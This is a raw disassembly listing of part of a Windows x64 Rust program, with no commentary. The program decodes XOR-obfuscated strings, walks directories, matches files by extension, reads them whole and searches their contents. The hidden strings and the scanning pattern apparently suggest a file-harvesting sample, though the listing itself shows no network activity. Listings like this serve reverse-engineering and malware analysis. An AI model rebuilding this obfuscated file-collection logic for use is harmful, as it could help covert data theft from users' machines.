xor rcx, r8
cmp rdx, 7
mov edx, 0
cmovae rcx, rdx
test rcx, rcx
je 0x1400502cb
cmp rcx, 1
jne 0x140050310
mov rax, qword [rsp + 0xbe0]
movabs rcx, 0x8000000000000000
add rcx, 4
lea rdx, [rsp + 0xbe0]
cmp rax, rcx
jge 0x1400502f9
jmp 0x140050310
lea rcx, [rsp + 0xbd8]
jmp 0x1400502dd
lea rcx, [rsp + 0xbd0]
xor r8d, r8d
movabs rdx, 0x8000000000000000
cmp rax, rdx
sete r8b
lea rdx, [rcx + r8*8]
mov rax, qword [rcx + r8*8]
test rax, rax
je 0x140050310
mov r8, qword [rdx + 8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
xor esi, esi
mov r8, qword [rsp + 0xb0]
movzx eax, byte [rsp + 0x148]
cmp al, 3
je 0x140050355
cmp al, 2
je 0x140050355
mov rax, qword [rsp + 0x130]
lock dec qword [rax]
jne 0x140050355
mov rcx, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x138]
call sym.alloc::sync::Arc_T_A_::drop_slow::h16b7913552a63f3f
mov r8, qword [rsp + 0xb0]
cmp qword [r8], 0
je 0x140050375
mov r8, qword [r8 + 8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov r8, qword [rsp + 0xb0]
cmp qword [rsp + 0x11d8], 0
je 0x14005038e
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
cmp byte [rsp + 0x65], 2
je 0x1400503b2
mov rax, qword [rsp + 0x40]
lock dec qword [rax]
jne 0x1400503b2
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x578]
call sym.alloc::sync::Arc_T_A_::drop_slow::h16b7913552a63f3f
test rsi, rsi
je 0x140055e19
add r12, qword [rsp + 0x840]
mov qword [rsp + 0x520], rsi
mov qword [rsp + 0x528], r14
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x530], rax
mov qword [rsp + 0x538], rdi
mov rbx, qword [r12 - 0x10]
mov rsi, qword [r12 - 8]
lea rax, [0x1402b6da0]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x6bc676b2
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h3a2bc5abb7c0c420
mov eax, dword [rax]
mov ecx, 0x5707e6d3
xor eax, ecx
mov dword [rsp + 0x1240], eax
cmp rsi, 4
mov qword [rsp + 0x48], rsi
jbe 0x1400504b6
mov r10, rsi
mov ecx, eax
shr ecx, 0x18
mov ebp, 3
cmp cl, al
jne 0x1400518b7
mov ecx, eax
shr ecx, 0x10
cmp cl, al
jne 0x140051785
mov ecx, eax
shr ecx, 8
cmp cl, al
jne 0x1400518b2
mov qword [rsp + 0x20], 4
mov rcx, r15
mov rdx, rbx
mov r8, r10
lea r9, [rsp + 0x1240]
call sym.core::str::pattern::StrSearcher::new::hb79a64ca6e6dd1a0
lea rcx, [rsp + 0xbd0]
mov rdx, r15
call sym.__core::str::pattern::StrSearcher_as_core::str::pattern::Searcher_::next_match::h90e5d7bbf4ef57b1
movzx eax, byte [rsp + 0xbd0]
mov qword [rsp + 0x11b8], rdi
test al, al
jne 0x140050693
jmp 0x1400504d8
jne 0x140050681
mov eax, dword [rsp + 0x1240]
cmp eax, dword [rbx]
sete al
mov qword [rsp + 0x11b8], rdi
test al, al
jne 0x140050693
lea rax, [0x1402c0317]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xea35cf3e
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h0f07e438cf67fff9
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14035b110]
mov edx, 3
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055e65
mov rdx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
shr eax, 0x10
xor al, 0x53
mov ecx, esi
shr ecx, 8
xor cl, 0xdd
xor sil, 0x9a
movzx eax, al
mov byte [rdx + 2], al
shl eax, 0x10
movzx ecx, cl
shl ecx, 8
or ecx, eax
movzx eax, sil
or eax, ecx
mov qword [rsp + 0x90], rdx
mov word [rdx], ax
lea rax, [0x1402c02a9]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0x47e65eeb
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h5adc4ce49782db23
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14035b110]
mov edx, 3
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055e65
mov rdx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
shr eax, 0x10
xor al, 6
mov ecx, esi
shr ecx, 8
xor cl, 0x1b
xor sil, 0xc7
movzx eax, al
mov byte [rdx + 2], al
shl eax, 0x10
movzx ecx, cl
shl ecx, 8
or ecx, eax
movzx eax, sil
or eax, ecx
mov qword [rsp + 0xb0], rdx
mov word [rdx], ax
mov rcx, r15
mov rdx, rbx
mov rsi, qword [rsp + 0x48]
mov r8, rsi
call sym.std::sys::pal::windows::fs::stat::hb4d86dbde420c37b
cmp dword [rsp + 0xe0], 2
jne 0x140050b46
mov rbx, qword [rsp + 0xe8]
mov eax, ebx
and eax, 3
mov esi, 1
cmp eax, 1
jne 0x140050678
mov r14, qword [rbx - 1]
mov rdi, qword [rbx + 7]
mov rax, qword [rdi]
test rax, rax
je 0x140050641
mov rcx, r14
call rax
cmp qword [rdi + 8], 0
je 0x140050664
cmp qword [rdi + 0x10], 0x11
jb 0x140050653
mov r14, qword [r14 - 8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, r14
call fcn.140137fbc
dec rbx
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rbx
call fcn.140137fbc
xor ebx, ebx
xor edi, edi
jmp 0x140050cc8
xor eax, eax
mov qword [rsp + 0x11b8], rdi
test al, al
je 0x1400504d8
mov qword [rsp + 0x58], rbx
mov rbx, qword [r12 - 0x28]
mov rsi, qword [r12 - 0x20]
mov qword [rsp + 0x1240], 0
mov qword [rsp + 0x1248], 1
mov qword [rsp + 0x1250], 0
mov qword [rsp + 0x20], 1
mov rcx, r15
mov rdx, rbx
mov r8, rsi
lea r9, [0x140324ba8]
call sym.core::str::pattern::StrSearcher::new::hb79a64ca6e6dd1a0
mov edi, 1
xor r14d, r14d
xor r15d, r15d
jmp 0x140050720
add r15, rbx
lea rcx, [rdi + r14]
mov rdx, r15
mov r8, r12
call sym.memcpy
add r14, r12
mov qword [rsp + 0x1250], r14
mov r15, rbp
lea rcx, [rsp + 0xbd0]
lea rdx, [rsp + 0xe0]
call sym.__core::str::pattern::StrSearcher_as_core::str::pattern::Searcher_::next_match::h90e5d7bbf4ef57b1
cmp qword [rsp + 0xbd0], 0
je 0x14005078b
mov r12, qword [rsp + 0xbd8]
mov rbp, qword [rsp + 0xbe0]
sub r12, r15
mov rax, qword [rsp + 0x1240]
sub rax, r14
cmp rax, r12
jae 0x140050700
lea rcx, [rsp + 0x1240]
mov rdx, r14
mov r8, r12
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h837baa1ab4fbcfd9
mov rdi, qword [rsp + 0x1248]
mov r14, qword [rsp + 0x1250]
jmp 0x140050700
sub rsi, r15
mov rax, qword [rsp + 0x1240]
sub rax, r14
cmp rax, rsi
jb 0x140052650
add rbx, r15
mov rcx, qword [rsp + 0x1248]
add rcx, r14
mov rdx, rbx
mov r8, rsi
call sym.memcpy
add r14, rsi
mov qword [rsp + 0x5f0], r14
movdqu xmm0, xmmword [rsp + 0x1240]
movdqa xmmword [rsp + 0x5e0], xmm0
lea rax, [0x1402b9e74]
mov qword [rsp + 0xe0], rax
lea r15, [rsp + 0xe0]
mov rcx, qword [rsp + 0xe0]
mov dword [rsp + 0xe0], 0xdc71e95c
mov edx, dword [rsp + 0xe0]
call sym.obfstr::xref::inner::h50b35d8504c66dc5
mov rbx, qword [rax]
movzx edi, word [rax + 8]
movzx ebp, byte [rax + 0xa]
movzx eax, byte [0x14035b110]
mov edx, 0xb
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055b42
mov rsi, rax
shl ebp, 0x10
or edi, ebp
mov eax, edi
shr eax, 0x10
xor al, 0xdf
mov ecx, edi
shr ecx, 8
xor cl, 0xe4
xor dil, 0x34
movabs rdx, 0x2841bd4080496351
xor rbx, rdx
mov qword [rsi], rbx
mov byte [rsi + 8], dil
mov byte [rsi + 9], cl
mov byte [rsi + 0xa], al
mov qword [rsp + 0x900], rsi
mov qword [rsp + 0x908], 0xb
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0xe0], rax
lea rcx, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0xe8], rcx
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xf0], rax
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0x900]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rcx
lea rax, [0x1402c1a90]
mov qword [rsp + 0xbd0], rax
mov qword [rsp + 0xbd8], 3
mov qword [rsp + 0xbf0], 0
mov qword [rsp + 0xbe0], r15
mov qword [rsp + 0xbe8], 3
lea rcx, [rsp + 0x1240]
lea rdx, [rsp + 0xbd0]
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rsi
call fcn.140137fbc
cmp qword [rsp + 0x5e0], 0
je 0x140050956
mov r8, qword [rsp + 0x5e8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rax, qword [rsp + 0x1240]
mov qword [rsp + 0x518], rax
mov rdi, qword [rsp + 0x1248]
mov rsi, qword [rsp + 0x1250]
mov qword [rsp + 0x558], 0
mov qword [rsp + 0x560], 1
mov qword [rsp + 0x568], 0
mov rcx, r15
mov rdx, rdi
mov r8, rsi
call sym.std::sys::pal::windows::fs::stat::hb4d86dbde420c37b
cmp dword [rsp + 0xe0], 2
movabs rbp, 0x8000000000000000
mov qword [rsp + 0x838], rdi
jne 0x140050a26
mov rbx, qword [rsp + 0xe8]
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x140051709
mov rsi, qword [rbx - 1]
mov rdi, qword [rbx + 7]
mov rax, qword [rdi]
test rax, rax
mov r14, qword [rsp + 0x518]
je 0x1400509f7
mov rcx, rsi
call rax
dec rbx
cmp qword [rdi + 8], 0
je 0x1400540a7
cmp qword [rdi + 0x10], 0x11
jb 0x140050a10
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rsi
call fcn.140137fbc
jmp 0x1400540a7
mov dword [rsp + 0xe0], 0
lea rax, [rsp + 0xe8]
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov dword [rsp + 0xf8], 7
mov word [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov byte [rsp + 0x100], 1
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call sym.std::sys::pal::windows::fs::File::open::h3a6cfbd342f96e23
mov rsi, rdx
test rax, rax
jne 0x140055e81
movzx eax, byte [0x14035b110]
mov edx, 0x2000
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140055cf8
mov qword [rsp + 0xbd0], rax
mov qword [rsp + 0xbd8], 0x2000
lea rax, [rsp + 0xbf8]
pxor xmm0, xmm0
movdqu xmmword [rax - 0x18], xmm0
mov qword [rax - 8], 0
mov qword [rsp + 0xbf8], rsi
mov rcx, r15
lea rdx, [rsp + 0xbd0]
call sym.__std::io::Lines_B__as_core::iter::traits::iterator::Iterator_::next::hc562ca18f47645a4
mov r14, qword [rsp + 0xe0]
mov rax, rbp
lea rdi, [rbp + 1]
cmp r14, rdi
jne 0x140051716
mov r14, rax
cmp qword [rsp + 0xbd8], 0
je 0x140050b19
mov r8, qword [rsp + 0xbd0]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rcx, qword [rsp + 0xbf8]
call fcn.140137e0c
mov eax, 8
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov ebp, 8
xor eax, eax
mov qword [rsp + 0xa0], rax
jmp 0x14005226b
mov qword [rsp + 0x4c8], 0
mov qword [rsp + 0x4d0], 1
mov qword [rsp + 0x4d8], 0
mov rcx, r15
mov rdx, rbx
mov r8, rsi
call sym.std::sys::pal::windows::fs::readdir::h2e225321c811929d
mov edi, dword [rsp + 0xf0]
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x40], rax
cmp edi, 2
je 0x140055f5d
mov rsi, qword [rsp + 0xe8]
lea rax, [rsp + 0xe8]
movups xmm0, xmmword [rax + 0xc]
movups xmm1, xmmword [rax + 0x1c]
movdqu xmm2, xmmword [rax + 0x28]
movaps xmmword [rsp + 0x1240], xmm0
movaps xmmword [rsp + 0x1250], xmm1
movdqu xmmword [rsp + 0x125c], xmm2
movzx ebp, word [rsp + 0x120]
movzx r14d, word [rsp + 0x122]
movzx r12d, word [rsp + 0x124]
mov r8d, 0x21e
lea rbx, [rsp + 0xbd0]
mov rcx, rbx
lea rdx, [rsp + 0x126]
call sym.memcpy
movaps xmm0, xmmword [rsp + 0x1240]
movdqa xmm1, xmmword [rsp + 0x1250]
movaps xmmword [rsp + 0xf90], xmm0
movdqa xmmword [rsp + 0xfa0], xmm1
movdqu xmm0, xmmword [rsp + 0x125c]
movdqu xmmword [rsp + 0xfac], xmm0
mov r8d, 0x21e
lea rcx, [rsp + 0x5e0]
mov rdx, rbx
call sym.memcpy
mov rax, qword [rsp + 0x528]
mov qword [rsp + 0x48], rax
mov word [rsp + 0x50], bp
cmp bp, 0x2e
sete al
test r14w, r14w
sete cl
mov dword [rsp + 0xc0], r14d
mov edx, r14d
xor edx, 0x2e
mov word [rsp + 0x500], r12w
or dx, r12w
sete bpl
or bpl, cl
and bpl, al
cmp rsi, 0xffffffffffffffff
jne 0x140050d08
mov rcx, rsi
call sub.kernel32.dll_FindClose
mov rcx, qword [rsp + 0x40]
lock dec qword [rcx]
jne 0x140050cb0
call sym.alloc::sync::Arc_T_A_::drop_slow::h8a2432289c9eaed9
mov rdi, qword [rsp + 0x4c8]
mov rsi, qword [rsp + 0x4d0]
mov rbx, qword [rsp + 0x4d8]
mov r8, qword [rsp + 0x90]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, qword [rsp + 0xb0]
jmp 0x1400540e6
xor edi, edi
cmp rsi, 0xffffffffffffffff
je 0x140050c98
cmp edi, 1
setne al
or al, bpl
je 0x140050e4f
mov r8d, 0x250
lea rdi, [rsp + 0xbd0]
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, rsi
mov rdx, rdi
call sub.kernel32.dll_FindNextFileW
test eax, eax
mov rdi, qword [rsp + 0x40]
jne 0x140050d94
call sub.kernel32.dll_GetLastError
cmp eax, 0x12
je 0x140050c98
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0xe8], 0
mov ecx, 0x10
jmp 0x140050dea
mov rcx, rsi
lea rdx, [rsp + 0xbd0]
call sub.kernel32.dll_FindNextFileW
test eax, eax
je 0x140050d43
cmp word [rsp + 0xbfc], 0x2e
jne 0x140050dbd
movzx eax, word [rsp + 0xbfe]
test ax, ax
je 0x140050d80
cmp ax, 0x2e
jne 0x140050dbd
cmp word [rsp + 0xc00], 0
je 0x140050d80
lock inc qword [rdi]
jle 0x140055cf6
mov r8d, 0x250
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0xbd0]
call sym.memcpy
mov ecx, 8
mov rax, rdi
mov qword [rsp + rcx + 0xe0], rax
mov rdi, qword [rsp + 0xe8]
mov rbx, qword [rsp + 0xf0]
mov r8d, 0x248
test rdi, rdi
je 0x140051640
lea r14, [rsp + 0xbd0]
mov rcx, r14
lea rdx, [rsp + 0xf8]
call sym.memcpy
mov r8d, 0x248
lea r12, [rsp + 0x1240]
mov rcx, r12
mov rdx, r14
call sym.memcpy
lea r14, [rsp + 0xf0]
jmp 0x140050f3e
mov rbx, rsi
mov rsi, r15
mov r15d, ebp
mov rbp, qword [rsp + 0x40]
lock inc qword [rbp]
jle 0x140055cf6
movups xmm0, xmmword [rsp + 0xfac]
lea r14, [rsp + 0xf0]
movups xmmword [r14 + 0x1c], xmm0
movdqa xmm0, xmmword [rsp + 0xf90]
movdqa xmm1, xmmword [rsp + 0xfa0]
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14], xmm0
mov r8d, 0x21e
lea rcx, [rsp + 0x122]
lea rdx, [rsp + 0x5e0]
call sym.memcpy
mov qword [rsp + 0xe8], rbp
movzx eax, word [rsp + 0x50]
mov word [rsp + 0x11c], ax
mov eax, dword [rsp + 0xc0]
mov word [rsp + 0x11e], ax
movzx eax, word [rsp + 0x500]
mov word [rsp + 0x120], ax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x38], rax
mov r8d, 0x248
lea rdi, [rsp + 0xbd0]
mov rcx, rdi
lea rdx, [rsp + 0xf8]
call sym.memcpy
mov r8d, 0x248
lea r12, [rsp + 0x1240]
mov rcx, r12
mov rdx, rdi
call sym.memcpy
mov rdi, rbp
mov ebp, r15d
mov r15, rsi
mov rsi, rbx
mov rbx, qword [rsp + 0x38]
mov qword [rsp + 0xe8], rbx
mov r8d, 0x248
mov rcx, r14
mov rdx, r12
call sym.memcpy
mov qword [rsp + 0xe0], rdi
lea rcx, [rsp + 0x900]
mov rdx, r15
call sym.std::fs::DirEntry::path::h0eb70cc698f9e00b
mov rcx, qword [rsp + 0x908]
mov rdx, qword [rsp + 0x910]
call sym.std::path::Path::file_name::h2aee4f392a94eebc
test rax, rax
je 0x140051060
mov r8, rdx
cmp rdx, 2
jne 0x140050fa5
movzx ecx, word [rax]
cmp ecx, 0x2e2e
je 0x140051060
mov rdx, r8
nop dword [rax + rax]
test rdx, rdx
je 0x140051060
mov rcx, rdx
dec rdx
cmp byte [rax + rcx - 1], 0x2e
jne 0x140050fb0
test rdx, rdx
je 0x140051060
sub r8, rcx
add rax, rcx
lea rcx, [rsp + 0x15d0]
mov rdx, rax
call sym.core::str::converts::from_utf8::h7e3ffe505e8498fd
cmp qword [rsp + 0x15d0], 0
jne 0x140051060
mov rax, qword [rsp + 0x15e0]
cmp rax, 3
jb 0x140051060
mov rcx, qword [rsp + 0x15d8]
mov r8, qword [rsp + 0x90]
movzx edx, word [r8]
xor dx, word [rcx + rax - 3]
movzx r8d, byte [r8 + 2]
xor r8b, byte [rcx + rax - 1]
movzx r8d, r8b
or r8w, dx
je 0x1400516d2
mov r8, qword [rsp + 0xb0]
movzx edx, word [r8]
xor dx, word [rcx + rax - 3]
movzx r8d, byte [r8 + 2]
xor r8b, byte [rcx + rax - 1]
movzx eax, r8b
or ax, dx
je 0x1400516d2
nop word [rax + rax]
mov rax, qword [rsp + 0xe0]
lock dec qword [rax]
jne 0x14005107b
mov rcx, qword [rsp + 0xe0]
call sym.alloc::sync::Arc_T_A_::drop_slow::h8a2432289c9eaed9
xor edi, edi
cmp qword [rsp + 0x900], 0
je 0x14005109e
mov r8, qword [rsp + 0x908]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
test rdi, rdi
je 0x140050d00
mov r8d, 0x250
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0xbd0]
call sym.memcpy
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0x5b8], 0
mov qword [rsp + 0x5c0], 1
mov qword [rsp + 0x5c8], 0
lea rcx, [rsp + 0x14a0]
mov rdx, r15
call sym.std::fs::DirEntry::path::h0eb70cc698f9e00b
mov dword [rsp + 0x15d0], 0
lea rax, [rsp + 0x16c0]
pxor xmm0, xmm0
movdqu xmmword [rax - 0xe8], xmm0
mov dword [rsp + 0x15e8], 7
mov word [rax - 0xcc], 0
mov qword [rax - 0xd4], 0
mov byte [rsp + 0x15f0], 1
mov r14, qword [rsp + 0x14a8]
mov rdx, qword [rsp + 0x14b0]
mov rcx, r14
lea r8, [rsp + 0x15d0]
call sym.std::sys::pal::windows::fs::File::open::h3a6cfbd342f96e23
mov r15, rax
mov rbx, rdx
cmp qword [rsp + 0x14a0], 0
je 0x140051186
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, r14
call fcn.140137fbc
test r15, r15
jne 0x140055d5b
movzx eax, byte [0x14035b110]
mov edx, 0x2000
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
lea r15, [rsp + 0xe0]
movabs r14, 0x8000000000000000
je 0x140055cf8
mov qword [rsp + 0x900], rax
mov qword [rsp + 0x908], 0x2000
pxor xmm0, xmm0
lea rax, [rsp + 0x910]
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
mov qword [rsp + 0x928], rbx
lea rcx, [rsp + 0x900]
lea rdx, [rsp + 0x5b8]
call sym.__std::io::buffered::bufreader::BufReader_R__as_std::io::Read_::read_to_end::ha10e40c729ca3d00
test rax, rax
jne 0x140055d6c
cmp qword [rsp + 0x908], 0
je 0x140051230
mov r8, qword [rsp + 0x900]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rcx, qword [rsp + 0x928]
call fcn.140137e0c
mov rdx, qword [rsp + 0x5c0]
mov r8, qword [rsp + 0x5c8]
lea rcx, [rsp + 0x4e0]
call sym.alloc::string::String::from_utf8_lossy::h6947609bf450b8a2
mov rbx, qword [rsp + 0x4e8]
mov rdi, qword [rsp + 0x4f0]
call sym.regex_automata::util::pool::inner::THREAD_ID::__u7b__u7b_closure_u7d__u7d_::h5b2a9fdcaab54447
test rax, rax
je 0x140055ba3
lea rcx, [rsp + 0x1240]
lea rdx, [rsp + 0xbd0]
call sym.memcpy
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x140050d00
mov r14, qword [rbx - 1]
mov rdi, qword [rbx + 7]
mov rax, qword [rdi]
test rax, rax
je 0x140051678
mov rcx, r14
call rax
cmp qword [rdi + 8], 0
je 0x14005169b
cmp qword [rdi + 0x10], 0x11
jb 0x14005168a
mov r14, qword [r14 - 8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, r14
call fcn.140137fbc
dec rbx
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rbx
call fcn.140137fbc
xor edi, edi
cmp rsi, 0xffffffffffffffff
jne 0x140050d08
jmp 0x140050c98
mov rdi, qword [rsp + 0xe0]
mov r8d, 0x250
lea rcx, [rsp + 0xbd0]
lea rdx, [rsp + 0xe8]
call sym.memcpy
cmp qword [rsp + 0x900], 0
jne 0x140051088
jmp 0x14005109e
mov r14, qword [rsp + 0x518]
jmp 0x1400540b8
mov rsi, qword [rsp + 0xe8]
cmp r14, rax
jne 0x14005178f
mov eax, esi
and eax, 3
cmp eax, 1
mov r14, rbp
jne 0x140050af8
mov rbx, qword [rsi - 1]
mov rdi, qword [rsi + 7]
mov rax, qword [rdi]
test rax, rax
je 0x140051749
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14005176c
cmp qword [rdi + 0x10], 0x11
jb 0x14005175b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rbx
call fcn.140137fbc
dec rsi
mov rcx, qword [0x14035b0d0]
xor edx, edx
mov r8, rsi
call fcn.140137fbc
jmp 0x140050af8
mov ebp, 2
jmp 0x1400518b7
mov r15, qword [rsp + 0xf0]
movzx eax, byte [0x14035b110]
mov edx, 0x60
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14005601b
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r15
mov qword [rsp + 0x5e0], 4
mov qword [rsp + 0x5e8], rax
mov qword [rsp + 0x5f0], 1
movdqu xmm0, xmmword [rsp + 0xbd0]
movdqu xmm1, xmmword [rsp + 0xbe0]
movdqu xmm2, xmmword [rsp + 0xbf0]
movdqa xmmword [rsp + 0x100], xmm2
movdqa xmmword [rsp + 0xf0], xmm1
movdqa xmmword [rsp + 0xe0], xmm0
mov r14d, 1
mov r15d, 0x28
jmp 0x14005184c
mov qword [rbx + r15 - 0x10], r12
mov qword [rbx + r15 - 8], rsi
mov qword [rbx + r15], rbp
inc r14
mov qword [rsp + 0x5f0], r14
add r15, 0x18
movabs rbp, 0x8000000000000000
lea rcx, [rsp + 0x1240]
lea rdx, [rsp + 0xe0]
call sym.__std::io::Lines_B__as_core::iter::traits::iterator::Iterator_::next::hc562ca18f47645a4
mov r12, qword [rsp + 0x1240]
cmp r12, rdi
je 0x140051bd9
mov rsi, qword [rsp + 0x1248]
cmp r12, rbp
je 0x140051bde
mov rbp, qword [rsp + 0x1250]
cmp r14, qword [rsp + 0x5e0]
jne 0x140051825
lea rcx, [rsp + 0x5e0]
mov rdx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h81a7c94db521dd98
mov rbx, qword [rsp + 0x5e8]
jmp 0x140051825
mov ebp, 1
cmp r10, 0x12
ja 0x1400518f9
mov rax, rbx
mov rcx, r10
cmp r10, 4
jb 0x1400518dd
lea r10, [rcx - 1]
mov r8d, dword [rax]
inc rax
cmp r8d, dword [rsp + 0x1240]
jne 0x1400518c0
cmp rcx, 4
setae al
mov qword [rsp + 0x11b8], rdi
test al, al
jne 0x140050693
jmp 0x1400504d8
movzx eax, al
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm13, xmm0, 0
movzx eax, cl
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm14, xmm0, 0
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], r10
lea rax, [rsp + 0x1241]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 3
cmp r10, 0x44
mov qword [rsp + 0x58], rbx
jb 0x140051af8
lea r15, [rbx + 0x30]
lea rsi, [rbx + rbp]
add rsi, 0x30
xor eax, eax
xor ebx, ebx
movdqu xmm0, xmmword [r15 + rbx - 0x30]
movdqu xmm10, xmmword [r15 + rbx - 0x20]
movdqu xmm8, xmmword [r15 + rbx - 0x10]
movdqu xmm6, xmmword [r15 + rbx]
pcmpeqb xmm0, xmm13
movdqu xmm1, xmmword [rsi + rbx - 0x30]
movdqu xmm11, xmmword [rsi + rbx - 0x20]
movdqu xmm9, xmmword [rsi + rbx - 0x10]
movdqu xmm7, xmmword [rsi + rbx]
pcmpeqb xmm1, xmm14
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x140051a40
pcmpeqb xmm10, xmm13
pcmpeqb xmm11, xmm14
pand xmm11, xmm10
pmovmskb r8d, xmm11
test r8w, r8w
jne 0x140051a69
pcmpeqb xmm8, xmm13
pcmpeqb xmm9, xmm14
pand xmm9, xmm8
pmovmskb r8d, xmm9
test r8w, r8w
jne 0x140051a93
pcmpeqb xmm6, xmm13
pcmpeqb xmm7, xmm14
pand xmm7, xmm6
pmovmskb r8d, xmm7
test r8w, r8w
jne 0x140051abd
lea r14, [rbx + 0x40]
add rbx, 0x83
cmp rbx, r10
jae 0x140051afd
mov ecx, eax
mov rbx, r14
and cl, 1
je 0x140051970
jmp 0x140051afd
mov r9d, eax
and r9b, 1
mov r14, rax
lea rcx, [rsp + 0xe0]
mov rdx, rbx
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
mov r10, qword [rsp + 0x48]
or al, r14b
and al, 1
jmp 0x1400519c0
lea rdx, [rbx + 0x10]
mov r9d, eax
and r9b, 1
mov r14, rax
lea rcx, [rsp + 0xe0]
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
mov r10, qword [rsp + 0x48]
or al, r14b
and al, 1
jmp 0x1400519de
lea rdx, [rbx + 0x20]
mov r9d, eax
and r9b, 1
mov r14, rax
lea rcx, [rsp + 0xe0]
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
mov r10, qword [rsp + 0x48]
or al, r14b
and al, 1
jmp 0x1400519fc
lea rdx, [rbx + 0x30]
mov r9d, eax
and r9b, 1
mov r14, rax
lea rcx, [rsp + 0xe0]
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
mov r10, qword [rsp + 0x48]
or al, r14b
and al, 1
lea r14, [rbx + 0x40]
add rbx, 0x83
cmp rbx, r10
jb 0x140051a2d
jmp 0x140051afd
xor r14d, r14d
xor eax, eax
lea rcx, [r14 + 0x13]
mov r9d, eax
and r9b, 1
cmp rcx, r10
jae 0x140051b84
test r9b, r9b
lea r15, [rsp + 0xe0]
mov rbx, qword [rsp + 0x58]
jne 0x140051b91
lea rsi, [rbx + rbp]
nop word cs:[rax + rax]
movdqu xmm0, xmmword [rbx + r14]
movdqu xmm1, xmmword [rsi + r14]
pcmpeqb xmm0, xmm13
pcmpeqb xmm1, xmm14
pand xmm1, xmm0
